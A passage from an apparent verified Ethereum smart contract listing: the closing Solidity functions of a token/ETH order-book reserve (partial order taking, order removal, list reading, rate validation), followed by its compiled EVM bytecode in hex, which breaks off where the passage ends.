ETH_TOKEN_ADDRESS); return takeOrder(maker, userSrc, userSrcAmount, userDstAmount, 0); } event PartialOrderTaken(address maker, uint32 orderId, bool isEthToToken, bool isRemoved); function takePartialOrder( address maker, uint32 orderId, ERC20 userSrc, ERC20 userDst, uint128 userPartialSrcAmount, uint128 userTakeDstAmount, uint128 orderSrcAmount, uint128 orderDstAmount ) internal returns(bool) { require(userPartialSrcAmount < orderDstAmount); require(userTakeDstAmount < orderSrcAmount); //must reuse parameters, otherwise stack too deep error. orderSrcAmount -= userTakeDstAmount; orderDstAmount -= userPartialSrcAmount; OrderListInterface list = (userSrc == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint weiValueNotReleasedFromOrder = (userSrc == ETH_TOKEN_ADDRESS) ? orderDstAmount : orderSrcAmount; uint additionalReleasedWei = 0; if (weiValueNotReleasedFromOrder < limits.minOrderSizeWei) { // remaining order amount too small. remove order and add remaining funds to free funds makerFunds[maker][userDst] += orderSrcAmount; additionalReleasedWei = weiValueNotReleasedFromOrder; //for remove order we give makerSrc == userDst require(removeOrder(list, maker, userDst, orderId)); } else { bool isSuccess; // update order values, taken order is always first order (isSuccess,) = list.updateWithPositionHint(orderId, orderSrcAmount, orderDstAmount, HEAD_ID); require(isSuccess); } PartialOrderTaken(maker, orderId, userSrc == ETH_TOKEN_ADDRESS, additionalReleasedWei > 0); //stakes are returned for unused wei value return(takeOrder(maker, userSrc, userPartialSrcAmount, userTakeDstAmount, additionalReleasedWei)); } function takeOrder( address maker, ERC20 userSrc, uint userSrcAmount, uint userDstAmount, uint additionalReleasedWei ) internal returns(bool) { uint weiAmount = userSrc == (ETH_TOKEN_ADDRESS) ? userSrcAmount : userDstAmount; //token / eth already collected. just update maker balance makerFunds[maker][userSrc] += userSrcAmount; // send dst tokens in one batch. not here //handle knc stakes and fee. releasedWeiValue was released and not traded. return releaseOrderStakes(maker, (weiAmount + additionalReleasedWei), weiAmount); } function removeOrder( OrderListInterface list, address maker, ERC20 makerSrc, uint32 orderId ) internal returns(bool) { require(list.remove(orderId)); OrderIdData storage orders = (makerSrc == ETH_TOKEN_ADDRESS) ? makerOrdersEthToToken[maker] : makerOrdersTokenToEth[maker]; require(releaseOrderId(orders, orderId)); return true; } function getList(OrderListInterface list) internal view returns(uint32[] memory orderList) { OrderData memory orderData; uint32 orderId; bool isEmpty; (orderId, isEmpty) = list.getFirstOrder(); if (isEmpty) return(new uint32[](0)); uint numOrders = 0; for (; !orderData.isLastOrder; orderId = orderData.nextId) { orderData = getOrderData(list, orderId); numOrders++; } orderList = new uint32[](numOrders); (orderId, orderData.isLastOrder) = list.getFirstOrder(); for (uint i = 0; i < numOrders; i++) { orderList[i] = orderId; orderData = getOrderData(list, orderId); orderId = orderData.nextId; } } function getOrderData(OrderListInterface list, uint32 orderId) internal view returns (OrderData data) { uint32 prevId; (data.maker, data.srcAmount, data.dstAmount, prevId, data.nextId) = list.getOrderDetails(orderId); data.isLastOrder = (data.nextId == TAIL_ID); } function validateLegalRate (uint srcAmount, uint dstAmount, bool isEthToToken) internal view returns(bool) { uint rate; /// notice, rate is calculated from taker perspective, /// for taker amounts are opposite. order srcAmount will be DstAmount for taker. if (isEthToToken) { rate = calcRateFromQty(dstAmount, srcAmount, getDecimals(contracts.token), ETH_DECIMALS); } else { rate = calcRateFromQty(dstAmount, srcAmount, ETH_DECIMALS, getDecimals(contracts.token)); } if (rate > MAX_RATE) return false; return true; } }
0x60606040526004361061029a5763ffffffff60e060020a60003504166304068ae2811461029f57806314fd6da0146102c4578063269fe82e146103065780632ac1db5a1461031c5780632b4d53031461036357806330cbb66f14610382578063338b5dea146103c05780633b443e3b146103e45780633bed33ce146103f7578063411273d81461040d57806344909b741461043257806350baa6221461044557806350d91deb1461045b57806352802121146105aa578063541e15b6146105be57806357df82e0146105d15780635cd36325146105f05780635e310670146106275780635ff468571461064357806362bb7533146106b557806362c5aecc146106c8578063685e7fc2146106ed578063690d986b146107005780636c0f79b61461072f5780636c3aacf9146107875780636cf69811146107f1578063744fa2c81461081d57806374d88c50146108425780637a03b624146108675780637cd442721461087a5780637f18b569146108a55780638108592c146108b857806384d062b4146108ce578063853717bb146108fc578063860aefcf146109125780638b7d6b05146109505780638fb2fbe11461096f57806390f3dd331461099d57806392418cf6146109d4578063971e668f146109ea5780639d0d647314610a185780639ebbf23114610a465780639f7ba82814610a59578063a9055b8114610a78578063abdde3d114610a97578063b7b2c52514610ab3578063ba6b0fa014610ac6578063bc1f71e114610ae5578063c01a3cd214610b07578063c444214a14610b2c578063d11dfdec14610b3f578063d4fac45d14610b52578063e1c7392a14610b77578063e934853214610b8a578063f2e9135014610b9d578063f67e8db214610cec578063f719254d14610cff578063fe459fdf14610d1b575b600080fd5b34156102aa57600080fd5b6102b2610d2e565b60405190815260200160405180910390f35b34156102cf57600080fd5b6102f26001608060020a036004358116906024351663ffffffff60443516610d33565b604051901515815260200160405180910390f35b341561031157600080fd5b6102b2600435610d71565b341561032757600080fd5b61034a63ffffffff600435166001608060020a0360243581169060443516610dfa565b60405163ffffffff909116815260200160405180910390f35b341561036e57600080fd5b6102b2600160a060020a0360043516610f4f565b341561038d57600080fd5b6103a1600160a060020a0360043516610f61565b60405163ffffffff909216825260208201526040908101905180910390f35b34156103cb57600080fd5b6103e2600160a060020a0360043516602435610f83565b005b34156103ef57600080fd5b6102b26110aa565b341561040257600080fd5b6103e26004356110b0565b341561041857600080fd5b61034a6001608060020a0360043581169060243516611156565b341561043d57600080fd5b6102b26111f5565b341561045057600080fd5b6103e26004356111fa565b341561046657600080fd5b6102f26004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506112e095505050505050565b6103e2600160a060020a0360043516611435565b34156105c957600080fd5b6102b26114ba565b34156105dc57600080fd5b6103a1600160a060020a03600435166114bf565b34156105fb57600080fd5b6102f263ffffffff6004358116906001608060020a0360243581169160443590911690606435166114e1565b341561063257600080fd5b6102f263ffffffff60043516611508565b341561064e57600080fd5b610662600160a060020a0360043516611528565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156106a1578082015183820152602001610689565b505050509050019250505060405180910390f35b34156106c057600080fd5b6106626115ea565b34156106d357600080fd5b61034a6001608060020a036004358116906024351661160d565b34156106f857600080fd5b6102b2611689565b341561070b57600080fd5b610713611690565b604051600160a060020a03909116815260200160405180910390f35b341561073a57600080fd5b61074261169f565b604051600160a060020a0396871681529486166020860152928516604080860191909152918516606085015284166080840152921660a082015260c001905180910390f35b341561079257600080fd5b6107a363ffffffff600435166116d1565b604051600160a060020a0390951685526001608060020a0393841660208601529190921660408085019190915263ffffffff92831660608501529116608083015260a0909101905180910390f35b6102f2600160a060020a03600435811690602435906044358116906064351660843560a4351515611772565b341561082857600080fd5b6102f26001608060020a0360043581169060243516611a64565b341561084d57600080fd5b6102f26001608060020a0360043581169060243516611a79565b341561087257600080fd5b6102b2611a87565b341561088557600080fd5b6102b2600160a060020a0360043581169060243516604435606435611a8c565b34156108b057600080fd5b6103e2611d00565b34156108c357600080fd5b6102b2600435611d7a565b34156108d957600080fd5b6102f263ffffffff600435166001608060020a0360243581169060443516611d8e565b341561090757600080fd5b6102b2600435611d9d565b341561091d57600080fd5b610925611dba565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561095b57600080fd5b6102b2600160a060020a0360043516611dc9565b341561097a57600080fd5b61034a63ffffffff600435166001608060020a0360243581169060443516611e26565b34156109a857600080fd5b6102f263ffffffff6004358116906001608060020a036024358116916044359091169060643516611f2f565b34156109df57600080fd5b6103e2600435611f3f565b34156109f557600080fd5b6102f263ffffffff600435166001608060020a0360243581169060443516612020565b3415610a2357600080fd5b6102f26001608060020a036004358116906024351663ffffffff60443516612044565b3415610a5157600080fd5b6102f2612077565b3415610a6457600080fd5b610662600160a060020a0360043516612159565b3415610a8357600080fd5b6102b2600160a060020a0360043516612213565b3415610aa257600080fd5b6107a363ffffffff60043516612235565b3415610abe57600080fd5b61034a6114ba565b3415610ad157600080fd5b6102b2600160a060020a0360043516612292565b3415610af057600080fd5b6103e2600160a060020a03600435166024356122a4565b3415610b1257600080fd5b6102b2600160a060020a0360043581169060243516612514565b3415610b3757600080fd5b6102b2612531565b3415610b4a57600080fd5b61034a612537565b3415610b5d57600080fd5b6102b2600160a060020a036004358116906024351661253c565b3415610b8257600080fd5b6102f26125e7565b3415610b9557600080fd5b6102f2612785565b3415610ba857600080fd5b6102f26004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506127f795505050505050565b3415610cf757600080fd5b6106626128d5565b3415610d0a57600080fd5b6102f263ffffffff600435166128f2565b3415610d2657600080fd5b6107136128ff565b602081565b600160a060020a03331660009081526013602052604081208190610d569061290e565b9050610d66600182878787612953565b91505b509392505050565b60085460009069021e19e0c9bab240000090600160a060020a0316633012541683604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610dc757600080fd5b6102c65a03f11515610dd857600080fd5b50505060405180519050601154840202811515610df157fe5b0490505b919050565b60008060008060006002800154876001608060020a031610151515610e1e57600080fd5b600d54600160a060020a03166385fcb4a8888860006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b1515610e7f57600080fd5b6102c65a03f11515610e9057600080fd5b5050506040518051905093508763ffffffff168463ffffffff161415610f4357600d54600160a060020a03166361592b8589600060405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b1515610f0357600080fd5b6102c65a03f11515610f1457600080fd5b505050604051805190602001805190602001805190602001805190602001805191985093965091945090925050505b50919695505050505050565b600f6020526000908152604090205481565b6012602052600090815260409020805460019091015463ffffffff9091169082565b600160a060020a0382161515610f9857600080fd5b6b204fce5e3e250261100000008110610fb057600080fd5b600754600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561101c57600080fd5b6102c65a03f1151561102d57600080fd5b50505060405180519050151561104257600080fd5b600160a060020a038083166000818152600e602090815260408083206007549095168352939052829020805484019055907fbc7c8a4d8049a3f99a02f2a20640c206a2e4d3f2fa54fd20da9f01fda3620cda9083905190815260200160405180910390a25050565b60015481565b33600160a060020a0381166000908152600e6020908152604080832060008051602061416f8339815191528452909152902054828110156110f057600080fd5b600160a060020a0382166000818152600e6020908152604080832060008051602061416f8339815191528452909152908190208054869003905584156108fc0290859051600060405180830381858888f19350505050151561115157600080fd5b505050565b6004546000906001608060020a038316101561117157600080fd5b600c54600160a060020a03166385fcb4a8848460006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156111d257600080fd5b6102c65a03f115156111e357600080fd5b50505060405180519150505b92915050565b600581565b33600160a060020a038181166000908152600e60209081526040808320600754909416835292905220548281101561123157600080fd5b600160a060020a038083166000908152600e60209081526040808320600780548616855292528083208054889003905590549092169163a9059cbb918591879190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156112ba57600080fd5b6102c65a03f115156112cb57600080fd5b50505060405180519050151561115157600080fd5b600080600080600086518a51146112f657600080fd5b87518a511461130457600080fd5b88518a511461131257600080fd5b85518a511461132057600080fd5b5033925060009050805b89518110156114255785818151811061133f57fe5b906020019060200201516113685786818151811061135957fe5b9060200190602002015161136a565b815b92506113c48a828151811061137b57fe5b906020019060200201516113a657600160a060020a03851660009081526012602052604090206113bf565b600160a060020a03851660009081526013602052604090205b61290e565b91506114128a82815181106113d557fe5b90602001906020020151838b84815181106113ec57fe5b906020019060200201518b858151811061140257fe5b9060200190602002015187612953565b151561141d57600080fd5b60010161132a565b5060019998505050505050505050565b600160a060020a038116151561144a57600080fd5b600160a060020a0381166000818152600e6020908152604080832060008051602061416f8339815191528452909152908190208054349081019091557f939e51ac2fd009b158d6344f7e68a83d8d18d9b0cc88cf514aac6aaa9cad2a18915190815260200160405180910390a250565b600281565b6013602052600090815260409020805460019091015463ffffffff9091169082565b60006114f1600186868686612bdf565b15156114fc57600080fd5b5060015b949350505050565b6000611515600083612f02565b151561152057600080fd5b506001919050565b611530614072565b600160a060020a03821660009081526013602052604081209080611553836130c3565b6040518059106115605750595b9080825280602002602001820160405250935060009150600090505b60208163ffffffff1610156115e25760008163ffffffff1660019060020a0284600101541611156115da578254600183019263ffffffff9091168201908590815181106115c557fe5b63ffffffff9092166020928302909101909101525b60010161157c565b505050919050565b6115f2614072565b600c54600160a060020a0316611607816130f5565b91505090565b6004546000906001608060020a038416101561162857600080fd5b600d54600160a060020a03166385fcb4a8848460006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156111d257600080fd5b620186a081565b600c54600160a060020a031681565b600654600754600854600954600a54600b54600160a060020a0395861695948516949384169392831692918216911686565b600c546000908190819081908190600160a060020a03166361592b85878360405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b151561172e57600080fd5b6102c65a03f1151561173f57600080fd5b5050506040518051906020018051906020018051906020018051906020018051949b939a50919850965091945092505050565b600954600090819033600160a060020a0390811691161461179257600080fd5b600160a060020a03881660008051602061416f83398151915214806117cd5750600160a060020a03861660008051602061416f833981519152145b15156117d857600080fd5b600754600160a060020a03898116911614806118015750600754600160a060020a038781169116145b151561180c57600080fd5b6b204fce5e3e2502611000000087111561182557600080fd5b600160a060020a03881660008051602061416f83398151915214156118555734871461185057600080fd5b6118f0565b341561186057600080fd5b87600160a060020a03166323b872dd33308a60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156118ca57600080fd5b6102c65a03f115156118db57600080fd5b5050506040518051905015156118f057600080fd5b6118fb8888886132b3565b9050611919878261190b8b6134a7565b6119148a6134a7565b61355b565b84111561192557600080fd5b600160a060020a03861660008051602061416f833981519152141561197a57600160a060020a03851681156108fc0282604051600060405180830381858888f19350505050151561197557600080fd5b6119fd565b85600160a060020a031663a9059cbb868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156119d757600080fd5b6102c65a03f115156119e857600080fd5b5050506040518051905015156119fd57600080fd5b7f36cfc7e9779b5ccf22f92f2f0d9adf9c74df05ab07de27c8cb508020389f9adc88878984604051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a1506001979650505050505050565b6000611a7283836000612044565b9392505050565b6000611a7283836000610d33565b606481565b6000806000611a99614084565b60008080600160a060020a038b1660008051602061416f8339815191521480611ad85750600160a060020a038a1660008051602061416f833981519152145b1515611ae357600080fd5b600754600160a060020a038c811691161480611b0c5750600754600160a060020a038b81169116145b1515611b1757600080fd5b6b204fce5e3e25026110000000891115611b3057600080fd5b611b38612785565b15611b465760009650611cf2565b600160a060020a038b1660008051602061416f83398151915214611b7557600d54600160a060020a0316611b82565b600c54600160a060020a03165b600354909650899350600092509050600160a060020a03861663a3fb591783604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b1515611bd557600080fd5b6102c65a03f11515611be657600080fd5b5050506040518051906020018051151560408701525094505b6000836001608060020a0316118015611c1a57508360400151155b8015611c2c5750600019810190600090115b15611cb757611c3b86866135f6565b9350826001608060020a031684608001516001608060020a031611611c7157836060015182019150836080015183039250611cab565b83608001516001608060020a0316836001608060020a031685606001516001608060020a031602811515611ca157fe5b0482019150600092505b83602001519450611bff565b6001608060020a03831615611ccf5760009650611cf2565b611cef89836001608060020a0316611ce68e6134a7565b6119148e6134a7565b96505b505050505050949350505050565b600854600090600160a060020a0316633012541682604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611d4a57600080fd5b6102c65a03f11515611d5b57600080fd5b505050604051805190509050600154811015611d775760018190555b50565b60006005611d8783611d9d565b0292915050565b600061150084848460006114e1565b60015460115460009169021e19e0c9bab240000091840202610df1565b60025460035460045460055484565b600080611dd583612213565b600160a060020a0384166000908152600f6020526040902054909150811115611e015760009150611e20565b600160a060020a0383166000908152600f602052604090205481900391505b50919050565b60008060008060006002800154866001608060020a031610151515611e4a57600080fd5b600c54600160a060020a03166385fcb4a8888860006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b1515611eab57600080fd5b6102c65a03f11515611ebc57600080fd5b5050506040518051905093508763ffffffff168463ffffffff161415610f4357600c54600160a060020a03166361592b8589600060405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b1515610f0357600080fd5b60006114f1600086868686612bdf565b33600160a060020a0381166000908152600f602052604090205482901015611f6657600080fd5b81611f7082611dc9565b1015611f7b57600080fd5b600160a060020a038082166000908152600f6020526040808220805486900390556006549092169163a9059cbb918491869190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ff657600080fd5b6102c65a03f1151561200757600080fd5b50505060405180519050151561201c57600080fd5b5050565b600061202f8484846000611f2f565b151561203a57600080fd5b5060019392505050565b600160a060020a033316600090815260126020526040812081906120679061290e565b9050610d66600082878787612953565b600a546000908190819081908190600160a060020a03166359e02dd782604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b15156120c857600080fd5b6102c65a03f115156120d957600080fd5b5050506040518051906020018051919550909350508215156120fa57600080fd5b670de0b6b3a76400008404915081151561211357600080fd5b620186a0821061212257600080fd5b60025484906ec097ce7bc90715b34b9f10000000000281151561214157fe5b04600481905560029004600555506001949350505050565b612161614072565b600160a060020a03821660009081526012602052604081209080612184836130c3565b6040518059106121915750595b9080825280602002602001820160405250935060009150600090505b60208163ffffffff1610156115e25760008163ffffffff1660019060020a02846001015416111561220b578254600183019263ffffffff9091168201908590815181106121f657fe5b63ffffffff9092166020928302909101909101525b6001016121ad565b600160a060020a0381166000908152601060205260408120546111ef90611d7a565b600d546000908190819081908190600160a060020a03166361592b85878360405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b151561172e57600080fd5b60106020526000908152604090205481565b600160a060020a03821615156122b957600080fd5b6b204fce5e3e2502611000000081106122d157600080fd5b600654600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561233d57600080fd5b6102c65a03f1151561234e57600080fd5b50505060405180519050151561236357600080fd5b600160a060020a0382166000818152600f6020526040908190208054840190557f7616f7b36d352f805882b5e6af4b72e6d1f325e5d73feef17ba9f064468498769083905190815260200160405180910390a2600160a060020a03821660009081526012602052604090206123d7906136d0565b1561247557600160a060020a038083166000908152601260209081526040808320600c5461246a959194911692631f38c35892909190516020015260405163ffffffff83811660e060020a028252919091166004820152602401602060405180830381600087803b151561244a57600080fd5b6102c65a03f1151561245b57600080fd5b505050604051805190506136f1565b151561247557600080fd5b600160a060020a0382166000908152601360205260409020612496906136d0565b1561201c57600160a060020a038083166000908152601360209081526040808320600d54612509959194911692631f38c35892909190516020015260405163ffffffff83811660e060020a028252919091166004820152602401602060405180830381600087803b151561244a57600080fd5b151561201c57600080fd5b600e60209081526000928352604080842090915290825290205481565b60115481565b600181565b6000600160a060020a03831660008051602061416f833981519152141561256e5750600160a060020a038116316111ef565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156125c557600080fd5b6102c65a03f115156125d657600080fd5b5050506040518051905090506111ef565b600c54600090600160a060020a03161580159061260e5750600d54600160a060020a031615155b1561261b57506001612782565b600c54600160a060020a031615158061263e5750600d54600160a060020a031615155b1561264857600080fd5b600b54600160a060020a031663fccf6e673060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156126a157600080fd5b6102c65a03f115156126b257600080fd5b5050506040518051600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03928316179055600b5416905063fccf6e673060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561273657600080fd5b6102c65a03f1151561274757600080fd5b5050506040518051600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905550600190505b90565b60015460085460009160050290600160a060020a0316633012541683604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156127d657600080fd5b6102c65a03f115156127e757600080fd5b5050506040518051905011905090565b600080855187511461280857600080fd5b845187511461281657600080fd5b835187511461282457600080fd5b825187511461283257600080fd5b5060005b86518110156128c8576128b587828151811061284e57fe5b9060200190602002015187838151811061286457fe5b9060200190602002015187848151811061287a57fe5b9060200190602002015187858151811061289057fe5b906020019060200201518786815181106128a657fe5b90602001906020020151612bdf565b15156128c057600080fd5b600101612836565b5060019695505050505050565b6128dd614072565b600d54600160a060020a0316611607816130f5565b6000611515600183612f02565b600d54600160a060020a031681565b600180820154600091825b602081101561029a578282161515612944578282176001860155845463ffffffff16810193506115e2565b60029190910290600101612919565b60008080806b204fce5e3e250261100000006001608060020a0388161061297957600080fd5b6b204fce5e3e250261100000006001608060020a0387161061299a57600080fd5b3392506129a9838a898961372d565b15156129b457600080fd5b6129d1876001608060020a0316876001608060020a03168b61379a565b15156129dc57600080fd5b60009150886129f657600c54600160a060020a0316612a03565b600d54600160a060020a03165b905063ffffffff851615612ab25780600160a060020a031663a5da0bf5848a8a8a8a60006040516020015260405163ffffffff87811660e060020a028252600160a060020a0396909616600482015293851660248501526001608060020a03928316604485015291166064830152909116608482015260a401602060405180830381600087803b1515612a9557600080fd5b6102c65a03f11515612aa657600080fd5b50505060405180519250505b811515612b5c5780600160a060020a031663c92ba8b2848a8a8a60006040516020015260405163ffffffff86811660e060020a028252600160a060020a039590951660048201529290931660248301526001608060020a0390811660448301529091166064820152608401602060405180830381600087803b1515612b3657600080fd5b6102c65a03f11515612b4757600080fd5b505050604051805190501515612b5c57600080fd5b82600160a060020a03167f2fb3fe66d41cb2d1b0d335656d86e7c779ebdc34c6f6fc806d35790a30be0e6d898b8a8a8760405163ffffffff909516855292151560208501526001608060020a0391821660408086019190915291166060840152901515608083015260a0909101905180910390a250600198975050505050505050565b6000808080808080806b204fce5e3e250261100000006001608060020a038c1610612c0957600080fd5b6b204fce5e3e250261100000006001608060020a038b1610612c2a57600080fd5b612c478b6001608060020a03168b6001608060020a03168f61379a565b1515612c5257600080fd5b8c612c6857600c54600160a060020a0316612c75565b600d54600160a060020a03165b915081600160a060020a03166361592b858d600060405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b1515612cc857600080fd5b6102c65a03f11515612cd957600080fd5b505050604051805190602001805190602001805190602001805190602001805150939a5090985090965094505033600160a060020a0390811690881614612d1f57600080fd5b612d2d878e87898f8f61380c565b1515612d3c5760009750612ef2565b50600063ffffffff891615612de35781600160a060020a031663a590529e8d8d8d8d60006040516040015260405163ffffffff86811660e060020a02825294851660048201526001608060020a039384166024820152919092166044820152911660648201526084016040805180830381600087803b1515612dbd57600080fd5b6102c65a03f11515612dce57600080fd5b50505060405180519060200180519450909150505b801515612e795781600160a060020a031663cb2f7b878d8d8d60006040516020015260405163ffffffff85811660e060020a0282529390931660048401526001608060020a039182166024840152166044820152606401602060405180830381600087803b1515612e5357600080fd5b6102c65a03f11515612e6457600080fd5b505050604051805190501515612e7957600080fd5b86600160a060020a03167f2bf327e052ee7ab98550e3d864a5b2a61f7737dc75cbcaada4e55f88222ebbd78e8e8e8e86604051941515855263ffffffff90931660208501526001608060020a0391821660408086019190915291166060840152901515608083015260a0909101905180910390a2600197505b5050505050505095945050505050565b6000806000612f0f614084565b600033935086612f2a57600c54600160a060020a0316612f37565b600d54600160a060020a03165b9250612f4383876135f6565b9150600160a060020a0384168251600160a060020a031614612f6457600080fd5b86612f73578160800151612f79565b81606001515b6001608060020a03169050612f90848260006138be565b1515612f9b57600080fd5b612fcc838589612fb657600754600160a060020a0316612fc6565b60008051602061416f8339815191525b89613999565b1515612fd757600080fd5b8160600151600160a060020a0385166000908152600e602052604081206001608060020a039290921691908961301857600754600160a060020a0316613028565b60008051602061416f8339815191525b600160a060020a0390811682526020820192909252604001600020805490920190915584167f179f16fddc625e40df9cb92cfcea70d64a6262c82b7a769e52996b1ff511ff56888860608601518660800151604051931515845263ffffffff90921660208401526001608060020a03908116604080850191909152911660608301526080909101905180910390a25060019695505050505050565b6000805b6020811015611e205760008160019060020a0284600101541611156130ed576001909101905b6001016130c7565b6130fd614072565b613105614084565b60008060008086600160a060020a031663a3fb59176000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b151561315057600080fd5b6102c65a03f1151561316157600080fd5b50505060405180519060200180519195509093505082156131a357600060405180591061318b5750595b908082528060200260200182016040525095506132a9565b600091505b846040015115156131d1576131bd87856135f6565b9450600190910190602085015193506131a8565b816040518059106131df5750595b9080825280602002602001820160405250955086600160a060020a031663a3fb59176000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b151561323757600080fd5b6102c65a03f1151561324857600080fd5b505050604051805190602001805115156040880152509350600090505b818110156132a9578386828151811061327a57fe5b63ffffffff90921660209283029091019091015261329887856135f6565b945084602001519350600101613265565b5050505050919050565b60008060006132c0614084565b60008080600160a060020a038a1660008051602061416f833981519152146132f357600d54600160a060020a0316613300565b600c54600160a060020a03165b95508892506000915085600160a060020a031663a3fb59176000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b151561334e57600080fd5b6102c65a03f1151561335f57600080fd5b5050506040518051906020018051151560408701525094505b6000836001608060020a031611801561339357508360400151155b15613466576133a286866135f6565b9350826001608060020a031684608001516001608060020a0316116133fa578360600151820191508360800151909203916133ea8451868c8b88608001518960600151613a72565b15156133f557600080fd5b61345a565b83608001516001608060020a0316836001608060020a031685606001516001608060020a03160281151561342a57fe5b0491820191905061344a8451868c8b87868a606001518b60800151613b67565b151561345557600080fd5b600092505b83602001519450613378565b6001608060020a03831615801561348657506000826001608060020a0316115b151561349157600080fd5b506001608060020a031698975050505050505050565b600080600160a060020a03831660008051602061416f83398151915214156134d25760129150611e20565b50600160a060020a0382166000908152602081905260409020548015156111ef5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561353957600080fd5b6102c65a03f1151561354a57600080fd5b505050604051805190509150611e20565b60006b204fce5e3e2502611000000085111561357657600080fd5b6b204fce5e3e2502611000000084111561358f57600080fd5b8282106135ca57601283830311156135a657600080fd5b84838303600a0a02670de0b6b3a764000085028115156135c257fe5b049050611500565b601282840311156135da57600080fd5b84828403600a0a670de0b6b3a76400008602028115156135c257fe5b6135fe614084565b600083600160a060020a03166361592b8584600060405160a0015260405163ffffffff83811660e060020a02825291909116600482015260240160a060405180830381600087803b151561365157600080fd5b6102c65a03f1151561366257600080fd5b505050604051805190602001805190602001805190602001805190602001805163ffffffff16602088019081526001608060020a039384166080890152939092166060870152600160a060020a039093168552509091506001905163ffffffff161460408301525092915050565b805460009063ffffffff1615156136e957506001610df5565b506000919050565b815460009063ffffffff168190111561370c575060006111ef565b50815463ffffffff191663ffffffff91909116178155600060019182015590565b6000808461373b578261373d565b835b6004546001608060020a0391909116915081101561375a57600080fd5b61376e8686866001608060020a0316613dca565b151561377957600080fd5b6137838682613ea0565b151561378e57600080fd5b50600195945050505050565b60008082156137ce576007546137c790859087906137c090600160a060020a03166134a7565b601261355b565b90506137f1565b6007546137ee908590879060129061191490600160a060020a03166134a7565b90505b69d3c21bcecceda10000008111156114fc5760009150610d69565b60008060008761381c578361381e565b845b6001608060020a031691508761384857856001608060020a0316846001608060020a03160361385e565b866001608060020a0316856001608060020a0316035b60045490915082101561387057600080fd5b61388f8989896001608060020a0316886001608060020a031603613dca565b151561389a57600080fd5b6138a48982613ea0565b15156138af57600080fd5b50600198975050505050505050565b600080838311156138ce57600080fd5b600160a060020a03851660009081526010602052604090205484111561390c57600160a060020a03851660009081526010602052604081205561392c565b600160a060020a0385166000908152601060205260409020805485900390555b82151561393c5760019150610d69565b61394583610d71565b600160a060020a0386166000908152600f60205260409020549091508190101561396e57600080fd5b600160a060020a0385166000908152600f602052604090208054829003905560019150509392505050565b60008085600160a060020a031662d84fd88460006040516020015260405163ffffffff83811660e060020a028252919091166004820152602401602060405180830381600087803b15156139ec57600080fd5b6102c65a03f115156139fd57600080fd5b505050604051805190501515613a1257600080fd5b600160a060020a03841660008051602061416f83398151915214613a4d57600160a060020a0385166000908152601260205260409020613a66565b600160a060020a03851660009081526013602052604090205b90506137838184613f87565b600080600160a060020a03861660008051602061416f83398151915214613aa457600d54600160a060020a0316613ab1565b600c54600160a060020a03165b9050613abf8189878a613999565b1515613aca57600080fd5b7ffc2eaa59b7259e4eb0ce92d7a86fce8b0fb67fade6f9f69df98f4771035a50c28888600160a060020a03891660008051602061416f83398151915214604051600160a060020a03909316835263ffffffff909116602083015215156040808301919091526060909101905180910390a1613b5b8887866001608060020a0316866001608060020a03166000614004565b98975050505050505050565b6000808080806001608060020a03808716908a1610613b8557600080fd5b6001608060020a0380881690891610613b9d57600080fd5b95879003959488900394600160a060020a038b1660008051602061416f83398151915214613bd657600d54600160a060020a